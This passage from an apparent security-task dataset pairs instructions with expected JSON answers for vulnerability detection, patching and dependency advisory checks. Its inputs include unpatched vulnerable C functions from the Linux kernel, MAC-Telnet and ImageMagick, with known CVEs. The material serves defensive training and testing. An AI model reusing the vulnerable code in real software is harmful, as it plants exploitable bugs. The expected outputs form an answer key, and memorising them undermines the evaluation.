err;\n\t\tdown_write(&iinfo->i_data_sem);\n\t\tudf_clear_extent_cache(inode);\n\t\ttruncate_setsize(inode, newsize);\n\t\tudf_truncate_extents(inode);\n\t\tup_write(&iinfo->i_data_sem);\n\t}\nupdate_time:\n\tinode->i_mtime = inode->i_ctime = current_fs_time(inode->i_sb);\n\tif (IS_SYNC(inode))\n\t\tudf_sync_inode(inode);\n\telse\n\t\tmark_inode_dirty(inode);\n \treturn 0;\n }\n", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"linux\",\n \"note\": \"Non-vulnerable function from a real project (BigVul label vul=0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "vuln_patch", "language": "c", "cwe": "CWE-362", "source": "BigVul (real CVE fix pairs)", "instruction": "Remediate the vulnerability in this C function. Return the fixed code and a short rationale as JSON.", "input": "void sctp_generate_proto_unreach_event(unsigned long data)\n {\n \tstruct sctp_transport *transport = (struct sctp_transport *) data;\n \tstruct sctp_association *asoc = transport->asoc;\n\tstruct net *net = sock_net(asoc->base.sk);\n \n\tbh_lock_sock(asoc->base.sk);\n\tif (sock_owned_by_user(asoc->base.sk)) {\n \t\tpr_debug(\"%s: sock is busy\\n\", __func__);\n \n \t\t/* Try again later. */\n\t\tif (!mod_timer(&transport->proto_unreach_timer,\n\t\t\t\tjiffies + (HZ/20)))\n\t\t\tsctp_association_hold(asoc);\n\t\tgoto out_unlock;\n\t}\n\n\t/* Is this structure just waiting around for us to actually\n\t * get destroyed?\n\t */\n\tif (asoc->base.dead)\n\t\tgoto out_unlock;\n\n\tsctp_do_sm(net, SCTP_EVENT_T_OTHER,\n\t\t SCTP_ST_OTHER(SCTP_EVENT_ICMP_PROTO_UNREACH),\n \t\t asoc->state, asoc->ep, asoc, transport, GFP_ATOMIC);\n \n out_unlock:\n\tbh_unlock_sock(asoc->base.sk);\n \tsctp_association_put(asoc);\n }\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-362\",\n \"cwe_name\": \"Race Condition\",\n \"cve\": \"CVE-2015-8767\",\n \"fixed_code\": \"void sctp_generate_proto_unreach_event(unsigned long data)\\n {\\n \\tstruct sctp_transport *transport = (struct sctp_transport *) data;\\n \\tstruct sctp_association *asoc = transport->asoc;\\n\\tstruct sock *sk = asoc->base.sk;\\n\\tstruct net *net = sock_net(sk);\\n \\n\\tbh_lock_sock(sk);\\n\\tif (sock_owned_by_user(sk)) {\\n \\t\\tpr_debug(\\\"%s: sock is busy\\\\n\\\", __func__);\\n \\n \\t\\t/* Try again later. */\\n\\t\\tif (!mod_timer(&transport->proto_unreach_timer,\\n\\t\\t\\t\\tjiffies + (HZ/20)))\\n\\t\\t\\tsctp_association_hold(asoc);\\n\\t\\tgoto out_unlock;\\n\\t}\\n\\n\\t/* Is this structure just waiting around for us to actually\\n\\t * get destroyed?\\n\\t */\\n\\tif (asoc->base.dead)\\n\\t\\tgoto out_unlock;\\n\\n\\tsctp_do_sm(net, SCTP_EVENT_T_OTHER,\\n\\t\\t SCTP_ST_OTHER(SCTP_EVENT_ICMP_PROTO_UNREACH),\\n \\t\\t asoc->state, asoc->ep, asoc, transport, GFP_ATOMIC);\\n \\n out_unlock:\\n\\tbh_unlock_sock(sk);\\n \\tsctp_association_put(asoc);\\n }\\n\",\n \"change_summary\": \"sctp: Prevent soft lockup when sctp_accept() is called during a timeout event\"\n}"} {"task": "supply_chain_sca", "language": "javascript", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: npm\nManifest: package.json\nPackage: nodebb\nInstalled version: 3.11.1\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"npm\",\n \"package\": \"nodebb\",\n \"installed_version\": \"3.11.1\",\n \"note\": \"nodebb 3.11.1 is at or above the fixed version for GHSA-vqr3-vrrg-f3jh; no known advisory applies to this version.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "BigVul (real non-vulnerable functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static void acpi_os_drop_map_ref(struct acpi_ioremap *map)\n{\n\tif (!--map->refcount)\n\t\tlist_del_rcu(&map->list);\n}\n", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"linux\",\n \"note\": \"Non-vulnerable function from a real project (BigVul label vul=0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "java", "cwe": "CWE-23", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: Maven\nManifest: pom.xml (Maven)\nPackage: org.apache.solr:solr-core\nInstalled version: 6.6\nSummary: Apache Solr Relative Path Traversal vulnerability", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-4p5m-gvpf-f3x5\",\n \"cve\": \"CVE-2024-52012\",\n \"aliases\": [\n \"BIT-solr-2024-52012\",\n \"CVE-2024-52012\"\n ],\n \"cwe\": \"CWE-23\",\n \"ecosystem\": \"Maven\",\n \"package\": \"org.apache.solr:solr-core\",\n \"severity\": \"moderate\",\n \"affected_versions\": \">=6.6, <9.8.0\",\n \"fixed_version\": \"9.8.0\",\n \"finding\": \"Apache Solr Relative Path Traversal vulnerability\",\n \"remediation\": \"Upgrade org.apache.solr:solr-core to 9.8.0 or later.\"\n}"} {"task": "vuln_patch", "language": "c", "cwe": "CWE-416", "source": "BigVul (real CVE fix pairs)", "instruction": "Remediate the vulnerability in this C function. Return the fixed code and a short rationale as JSON.", "input": "static int gup_huge_pgd(pgd_t orig, pgd_t *pgdp, unsigned long addr,\n\t\t\tunsigned long end, int write,\n\t\t\tstruct page **pages, int *nr)\n{\n\tint refs;\n\tstruct page *head, *page;\n\n\tif (!pgd_access_permitted(orig, write))\n\t\treturn 0;\n\n\tBUILD_BUG_ON(pgd_devmap(orig));\n\trefs = 0;\n\tpage = pgd_page(orig) + ((addr & ~PGDIR_MASK) >> PAGE_SHIFT);\n\tdo {\n\t\tpages[*nr] = page;\n\t\t(*nr)++;\n\t\tpage++;\n \t\trefs++;\n \t} while (addr += PAGE_SIZE, addr != end);\n \n\thead = compound_head(pgd_page(orig));\n\tif (!page_cache_add_speculative(head, refs)) {\n \t\t*nr -= refs;\n \t\treturn 0;\n \t}\n\n\tif (unlikely(pgd_val(orig) != pgd_val(*pgdp))) {\n\t\t*nr -= refs;\n\t\twhile (refs--)\n\t\t\tput_page(head);\n\t\treturn 0;\n\t}\n\n\tSetPageReferenced(head);\n\treturn 1;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-416\",\n \"cwe_name\": \"Use After Free\",\n \"cve\": \"CVE-2019-11487\",\n \"fixed_code\": \"static int gup_huge_pgd(pgd_t orig, pgd_t *pgdp, unsigned long addr,\\n\\t\\t\\tunsigned long end, int write,\\n\\t\\t\\tstruct page **pages, int *nr)\\n{\\n\\tint refs;\\n\\tstruct page *head, *page;\\n\\n\\tif (!pgd_access_permitted(orig, write))\\n\\t\\treturn 0;\\n\\n\\tBUILD_BUG_ON(pgd_devmap(orig));\\n\\trefs = 0;\\n\\tpage = pgd_page(orig) + ((addr & ~PGDIR_MASK) >> PAGE_SHIFT);\\n\\tdo {\\n\\t\\tpages[*nr] = page;\\n\\t\\t(*nr)++;\\n\\t\\tpage++;\\n \\t\\trefs++;\\n \\t} while (addr += PAGE_SIZE, addr != end);\\n \\n\\thead = try_get_compound_head(pgd_page(orig), refs);\\n\\tif (!head) {\\n \\t\\t*nr -= refs;\\n \\t\\treturn 0;\\n \\t}\\n\\n\\tif (unlikely(pgd_val(orig) != pgd_val(*pgdp))) {\\n\\t\\t*nr -= refs;\\n\\t\\twhile (refs--)\\n\\t\\t\\tput_page(head);\\n\\t\\treturn 0;\\n\\t}\\n\\n\\tSetPageReferenced(head);\\n\\treturn 1;\\n}\\n\",\n \"change_summary\": \"Merge branch 'page-refs' (page ref overflow)\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real non-vulnerable functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "pfm_get_psr(void)\n{\n\tunsigned long tmp;\n\ttmp = ia64_getreg(_IA64_REG_PSR);\n\tia64_srlz_i();\n\treturn tmp;\n}", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"linux-2.6\",\n \"note\": \"Non-vulnerable function from a real project (DiverseVul label 0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "java", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: Maven\nManifest: pom.xml (Maven)\nPackage: com.liferay.portal:release.portal.bom\nInstalled version: 7.4.3.129\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"Maven\",\n \"package\": \"com.liferay.portal:release.portal.bom\",\n \"installed_version\": \"7.4.3.129\",\n \"note\": \"com.liferay.portal:release.portal.bom 7.4.3.129 is at or above the fixed version for GHSA-9fcg-wrp8-qhr4; no known advisory applies to this version.\"\n}"} {"task": "supply_chain_sca", "language": "go", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: Go\nManifest: go.mod\nPackage: github.com/containerd/containerd/v2\nInstalled version: 2.0.12\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"Go\",\n \"package\": \"github.com/containerd/containerd/v2\",\n \"installed_version\": \"2.0.12\",\n \"note\": \"github.com/containerd/containerd/v2 2.0.12 is at or above the fixed version for GHSA-7jxh-36q5-gcqv; no known advisory applies to this version.\"\n}"} {"task": "supply_chain_sca", "language": "javascript", "cwe": "CWE-177", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: npm\nManifest: package.json\nPackage: @fastify/static\nInstalled version: 8.0.0\nSummary: @fastify/static vulnerable to route guard bypass via encoded path separators", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-x428-ghpx-8j92\",\n \"cve\": \"CVE-2026-6414\",\n \"aliases\": [\n \"CVE-2026-6414\"\n ],\n \"cwe\": \"CWE-177\",\n \"ecosystem\": \"npm\",\n \"package\": \"@fastify/static\",\n \"severity\": \"moderate\",\n \"affected_versions\": \">=8.0.0, <9.1.1\",\n \"fixed_version\": \"9.1.1\",\n \"finding\": \"@fastify/static vulnerable to route guard bypass via encoded path separators\",\n \"remediation\": \"Upgrade @fastify/static to 9.1.1 or later.\"\n}"} {"task": "supply_chain_sca", "language": "javascript", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: npm\nManifest: package.json\nPackage: webpack\nInstalled version: 5.0.0\nSummary: Cross-realm object access in Webpack 5", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-hc6q-2mpp-qw7j\",\n \"cve\": \"CVE-2023-28154\",\n \"aliases\": [\n \"CVE-2023-28154\"\n ],\n \"cwe\": null,\n \"ecosystem\": \"npm\",\n \"package\": \"webpack\",\n \"severity\": \"critical\",\n \"affected_versions\": \">=5.0.0, <5.76.0\",\n \"fixed_version\": \"5.76.0\",\n \"finding\": \"Cross-realm object access in Webpack 5\",\n \"remediation\": \"Upgrade webpack to 5.76.0 or later.\"\n}"} {"task": "supply_chain_sca", "language": "go", "cwe": "CWE-639", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: Go\nManifest: go.mod\nPackage: www.velocidex.com/golang/velociraptor\nInstalled version: <0.76.5\nSummary: Velocidex Velociraptor has an authorization bypass vulnerability", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-3c93-g9g6-p5j4\",\n \"cve\": \"CVE-2026-7573\",\n \"aliases\": [\n \"CVE-2026-7573\",\n \"GO-2026-5078\"\n ],\n \"cwe\": \"CWE-639\",\n \"ecosystem\": \"Go\",\n \"package\": \"www.velocidex.com/golang/velociraptor\",\n \"severity\": \"moderate\",\n \"affected_versions\": \">=0, <0.76.5\",\n \"fixed_version\": \"0.76.5\",\n \"finding\": \"Velocidex Velociraptor has an authorization bypass vulnerability\",\n \"remediation\": \"Upgrade www.velocidex.com/golang/velociraptor to 0.76.5 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-119", "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static void handle_data_packet(struct mt_connection *curconn, struct mt_mactelnet_hdr *pkthdr, int data_len) {\n\tstruct mt_mactelnet_control_hdr cpkt;\n\tstruct mt_packet pdata;\n\tunsigned char *data = pkthdr->data;\n\tunsigned int act_size = 0;\n\tint got_user_packet = 0;\n\tint got_pass_packet = 0;\n\tint got_width_packet = 0;\n\tint got_height_packet = 0;\n\tint success;\n\n\t/* Parse first control packet */\n\tsuccess = parse_control_packet(data, data_len - MT_HEADER_LEN, &cpkt);\n\n\twhile (success) {\n\t\tif (cpkt.cptype == MT_CPTYPE_BEGINAUTH) {\n\t\t\tint plen,i;\n\t\t\tif (!curconn->have_pass_salt) {\n\t\t\t\tfor (i = 0; i < 16; ++i) {\n\t\t\t\t\tcurconn->pass_salt[i] = rand() % 256;\n\t\t\t\t}\n\t\t\t\tcurconn->have_pass_salt = 1;\n\n\t\t\t\tmemset(curconn->trypassword, 0, sizeof(curconn->trypassword));\n\t\t\t}\n\t\t\tinit_packet(&pdata, MT_PTYPE_DATA, pkthdr->dstaddr, pkthdr->srcaddr, pkthdr->seskey, curconn->outcounter);\n\t\t\tplen = add_control_packet(&pdata, MT_CPTYPE_PASSSALT, (curconn->pass_salt), 16);\n\t\t\tcurconn->outcounter += plen;\n\n\t\t\tsend_udp(curconn, &pdata);\n\t\t\n\t\t/* Don't change the username after the state is active */\n\t\t} else if (cpkt.cptype == MT_CPTYPE_USERNAME && curconn->state != STATE_ACTIVE) {\n\t\t\tmemcpy(curconn->username, cpkt.data, act_size = (cpkt.length > MT_MNDP_MAX_STRING_SIZE - 1 ? MT_MNDP_MAX_STRING_SIZE - 1 : cpkt.length));\n\t\t\tcurconn->username[act_size] = 0;\n\t\t\tgot_user_packet = 1;\n\n\t\t} else if (cpkt.cptype == MT_CPTYPE_TERM_WIDTH && cpkt.length >= 2) {\n\t\t\tunsigned short width;\n\n\t\t\tmemcpy(&width, cpkt.data, 2);\n\t\t\tcurconn->terminal_width = le16toh(width);\n\t\t\tgot_width_packet = 1;\n\n\t\t} else if (cpkt.cptype == MT_CPTYPE_TERM_HEIGHT && cpkt.length >= 2) {\n\t\t\tunsigned short height;\n\n\t\t\tmemcpy(&height, cpkt.data, 2);\n\t\t\tcurconn->terminal_height = le16toh(height);\n\t\t\tgot_height_packet = 1;\n\n\t\t} else if (cpkt.cptype == MT_CPTYPE_TERM_TYPE) {\n\n \t\t\tmemcpy(curconn->terminal_type, cpkt.data, act_size = (cpkt.length > 30 - 1 ? 30 - 1 : cpkt.length));\n \t\t\tcurconn->terminal_type[act_size] = 0;\n \n\t\t} else if (cpkt.cptype == MT_CPTYPE_PASSWORD) {\n \n #if defined(__linux__) && defined(_POSIX_MEMLOCK_RANGE)\n \t\t\tmlock(curconn->trypassword, 17);\n#endif\n\t\t\tmemcpy(curconn->trypassword, cpkt.data, 17);\n\t\t\tgot_pass_packet = 1;\n\n\t\t} else if (cpkt.cptype == MT_CPTYPE_PLAINDATA) {\n\n\t\t\t/* relay data from client to shell */\n\t\t\tif (curconn->state == STATE_ACTIVE && curconn->ptsfd != -1) {\n\t\t\t\twrite(curconn->ptsfd, cpkt.data, cpkt.length);\n \t\t\t}\n \n \t\t} else {\n\t\t\tsyslog(LOG_WARNING, _(\"(%d) Unhandeled control packet type: %d\"), curconn->seskey, cpkt.cptype);\n \t\t}\n \n \t\t/* Parse next control packet */\n\t\tsuccess = parse_control_packet(NULL, 0, &cpkt);\n\t}\n\n\tif (got_user_packet && got_pass_packet) {\n\t\tuser_login(curconn, pkthdr);\n\t}\n\n\tif (curconn->state == STATE_ACTIVE && (got_width_packet || got_height_packet)) {\n\t\tset_terminal_size(curconn->ptsfd, curconn->terminal_width, curconn->terminal_height);\n\n\t}\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-119\",\n \"cwe_name\": \"Improper Restriction of Operations within Memory Buffer Bounds\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2016-7115\",\n \"project\": \"MAC-Telnet\",\n \"vulnerable_lines\": [\n 57,\n 73\n ],\n \"sink_node_type\": \"if_statement\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\",\n \"compound_statement\",\n \"while_statement\",\n \"compound_statement\",\n \"if_statement\",\n \"else_clause\",\n \"if_statement\",\n \"else_clause\",\n \"if_statement\",\n \"else_clause\",\n \"if_statement\",\n \"else_clause\",\n \"if_statement\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 52,\n \"col\": 9\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 52,\n \"col\": 12\n },\n {\n \"token\": \"cpkt\",\n \"ast_node\": \"identifier\",\n \"line\": 52,\n \"col\": 13\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 52,\n \"col\": 17\n },\n {\n \"token\": \"cptype\",\n \"ast_node\": \"field_identifier\",\n \"line\": 52,\n \"col\": 18\n },\n {\n \"token\": \"==\",\n \"ast_node\": \"==\",\n \"line\": 52,\n \"col\": 25\n },\n {\n \"token\": \"MT_CPTYPE_TERM_TYPE\",\n \"ast_node\": \"identifier\",\n \"line\": 52,\n \"col\": 28\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 52,\n \"col\": 47\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 52,\n \"col\": 49\n },\n {\n \"token\": \"memcpy\",\n \"ast_node\": \"identifier\",\n \"line\": 54,\n \"col\": 4\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 54,\n \"col\": 10\n },\n {\n \"token\": \"curconn\",\n \"ast_node\": \"identifier\",\n \"line\": 54,\n \"col\": 11\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 54,\n \"col\": 18\n },\n {\n \"token\": \"terminal_type\",\n \"ast_node\": \"field_identifier\",\n \"line\": 54,\n \"col\": 20\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 54,\n \"col\": 33\n },\n {\n \"token\": \"cpkt\",\n \"ast_node\": \"identifier\",\n \"line\": 54,\n \"col\": 35\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 54,\n \"col\": 39\n },\n {\n \"token\": \"data\",\n \"ast_node\": \"field_identifier\",\n \"line\": 54,\n \"col\": 40\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 54,\n \"col\": 44\n },\n {\n \"token\": \"act_size\",\n \"ast_node\": \"identifier\",\n \"line\": 54,\n \"col\": 46\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 54,\n \"col\": 55\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 54,\n \"col\": 57\n },\n {\n \"token\": \"cpkt\",\n \"ast_node\": \"identifier\",\n \"line\": 54,\n \"col\": 58\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 54,\n \"col\": 62\n },\n {\n \"token\": \"length\",\n \"ast_node\": \"field_identifier\",\n \"line\": 54,\n \"col\": 63\n },\n {\n \"token\": \">\",\n \"ast_node\": \">\",\n \"line\": 54,\n \"col\": 70\n },\n {\n \"token\": \"30\",\n \"ast_node\": \"number_literal\",\n \"line\": 54,\n \"col\": 72\n },\n {\n \"token\": \"-\",\n \"ast_node\": \"-\",\n \"line\": 54,\n \"col\": 75\n },\n {\n \"token\": \"1\",\n \"ast_node\": \"number_literal\",\n \"line\": 54,\n \"col\": 77\n },\n {\n \"token\": \"?\",\n \"ast_node\": \"?\",\n \"line\": 54,\n \"col\": 79\n },\n {\n \"token\": \"30\",\n \"ast_node\": \"number_literal\",\n \"line\": 54,\n \"col\": 81\n },\n {\n \"token\": \"-\",\n \"ast_node\": \"-\",\n \"line\": 54,\n \"col\": 84\n },\n {\n \"token\": \"1\",\n \"ast_node\": \"number_literal\",\n \"line\": 54,\n \"col\": 86\n },\n {\n \"token\": \":\",\n \"ast_node\": \":\",\n \"line\": 54,\n \"col\": 88\n },\n {\n \"token\": \"cpkt\",\n \"ast_node\": \"identifier\",\n \"line\": 54,\n \"col\": 90\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 54,\n \"col\": 94\n },\n {\n \"token\": \"length\",\n \"ast_node\": \"field_identifier\",\n \"line\": 54,\n \"col\": 95\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 54,\n \"col\": 101\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 54,\n \"col\": 102\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 54,\n \"col\": 103\n },\n {\n \"token\": \"curconn\",\n \"ast_node\": \"identifier\",\n \"line\": 55,\n \"col\": 4\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 55,\n \"col\": 11\n },\n {\n \"token\": \"terminal_type\",\n \"ast_node\": \"field_identifier\",\n \"line\": 55,\n \"col\": 13\n },\n {\n \"token\": \"[\",\n \"ast_node\": \"[\",\n \"line\": 55,\n \"col\": 26\n },\n {\n \"token\": \"act_size\",\n \"ast_node\": \"identifier\",\n \"line\": 55,\n \"col\": 27\n },\n {\n \"token\": \"]\",\n \"ast_node\": \"]\",\n \"line\": 55,\n \"col\": 35\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 55,\n \"col\": 37\n },\n {\n \"token\": \"0\",\n \"ast_node\": \"number_literal\",\n \"line\": 55,\n \"col\": 39\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 55,\n \"col\": 40\n },\n {\n \"token\": \"}\",\n \"ast_node\": \"}\",\n \"line\": 57,\n \"col\": 2\n },\n {\n \"token\": \"else\",\n \"ast_node\": \"else\",\n \"line\": 57,\n \"col\": 4\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 57,\n \"col\": 9\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 57,\n \"col\": 12\n },\n {\n \"token\": \"cpkt\",\n \"ast_node\": \"identifier\",\n \"line\": 57,\n \"col\": 13\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 57,\n \"col\": 17\n },\n {\n \"token\": \"cptype\",\n \"ast_node\": \"field_identifier\",\n \"line\": 57,\n \"col\": 18\n },\n {\n \"token\": \"==\",\n \"ast_node\": \"==\",\n \"line\": 57,\n \"col\": 25\n },\n {\n \"token\": \"MT_CPTYPE_PASSWORD\",\n \"ast_node\": \"identifier\",\n \"line\": 57,\n \"col\": 28\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 57,\n \"col\": 46\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 57,\n \"col\": 48\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "supply_chain_sca", "language": "python", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: PyPI\nManifest: requirements.txt\nPackage: openchatbi\nInstalled version: 0.2.2\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"PyPI\",\n \"package\": \"openchatbi\",\n \"installed_version\": \"0.2.2\",\n \"note\": \"openchatbi 0.2.2 is at or above the fixed version for GHSA-vmwq-8g8c-jm79; no known advisory applies to this version.\"\n}"} {"task": "supply_chain_sca", "language": "java", "cwe": "CWE-667", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: Maven\nManifest: pom.xml (Maven)\nPackage: org.jetbrains.kotlin:kotlin-stdlib\nInstalled version: <1.6.0\nSummary: Improper Locking in JetBrains Kotlin", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-2qp4-g3q3-f92w\",\n \"cve\": \"CVE-2022-24329\",\n \"aliases\": [\n \"CVE-2022-24329\"\n ],\n \"cwe\": \"CWE-667\",\n \"ecosystem\": \"Maven\",\n \"package\": \"org.jetbrains.kotlin:kotlin-stdlib\",\n \"severity\": \"moderate\",\n \"affected_versions\": \">=0, <1.6.0\",\n \"fixed_version\": \"1.6.0\",\n \"finding\": \"Improper Locking in JetBrains Kotlin\",\n \"remediation\": \"Upgrade org.jetbrains.kotlin:kotlin-stdlib to 1.6.0 or later.\"\n}"} {"task": "supply_chain_sca", "language": "java", "cwe": "CWE-400", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: Maven\nManifest: pom.xml (Maven)\nPackage: com.fasterxml.jackson.core:jackson-databind\nInstalled version: 2.19.0\nSummary: jackson-databind quadratic forward-reference completion", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-cxp5-3px4-pw24\",\n \"cve\": \"CVE-2026-91777\",\n \"aliases\": [\n \"CVE-2026-91777\"\n ],\n \"cwe\": \"CWE-400\",\n \"ecosystem\": \"Maven\",\n \"package\": \"com.fasterxml.jackson.core:jackson-databind\",\n \"severity\": \"high\",\n \"affected_versions\": \">=2.19.0, <2.21.7\",\n \"fixed_version\": \"2.21.7\",\n \"finding\": \"jackson-databind quadratic forward-reference completion\",\n \"remediation\": \"Upgrade com.fasterxml.jackson.core:jackson-databind to 2.21.7 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-119", "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static Image *ReadRGFImage(const ImageInfo *image_info,ExceptionInfo *exception)\n{\n Image\n *image;\n\n MagickBooleanType\n status;\n\n register IndexPacket\n *indexes;\n\n register PixelPacket\n *q;\n\n register ssize_t\n i,\n x;\n\n register unsigned char\n *p;\n\n size_t\n bit,\n byte;\n\n ssize_t\n y;\n\n unsigned char\n *data;\n\n\n /*\n Open image file.\n */\n assert(image_info != (const ImageInfo *) NULL);\n assert(image_info->signature == MagickSignature);\n if (image_info->debug != MagickFalse)\n (void) LogMagickEvent(TraceEvent,GetMagickModule(),\"%s\",\n image_info->filename);\n assert(exception != (ExceptionInfo *) NULL);\n assert(exception->signature == MagickSignature);\n image=AcquireImage(image_info);\n status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception);\n if (status == MagickFalse)\n {\n image=DestroyImageList(image);\n return((Image *) NULL);\n }\n /*\n Read RGF header.\n */\n image->columns = (unsigned long) ReadBlobByte(image);\n image->rows = (unsigned long) ReadBlobByte(image);\n image->depth=8;\n image->storage_class=PseudoClass;\n image->colors=2;\n /*\n Initialize image structure.\n */\n if (AcquireImageColormap(image,image->colors) == MagickFalse)\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n /*\n Initialize colormap.\n */\n image->colormap[0].red=QuantumRange;\n image->colormap[0].green=QuantumRange;\n image->colormap[0].blue=QuantumRange;\n image->colormap[1].red=(Quantum) 0;\n image->colormap[1].green=(Quantum) 0;\n image->colormap[1].blue=(Quantum) 0;\n if (image_info->ping != MagickFalse)\n {\n (void) CloseBlob(image);\n return(GetFirstImageInList(image));\n }\n /*\n Read hex image data.\n */\n data=(unsigned char *) AcquireQuantumMemory(image->rows,image->columns*\n sizeof(*data));\n if (data == (unsigned char *) NULL)\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n p=data;\n for (i=0; i < (ssize_t) (image->columns * image->rows); i++) \n {\n *p++=ReadBlobByte(image);\n }\n\n /*\n Convert RGF image to pixel packets.\n */\n p=data;\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);\n if (q == (PixelPacket *) NULL)\n break;\n indexes=GetAuthenticIndexQueue(image);\n bit=0;\n byte=0;\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n if (bit == 0)\n byte=(size_t) (*p++);\n SetPixelIndex(indexes+x,(Quantum) ((byte & 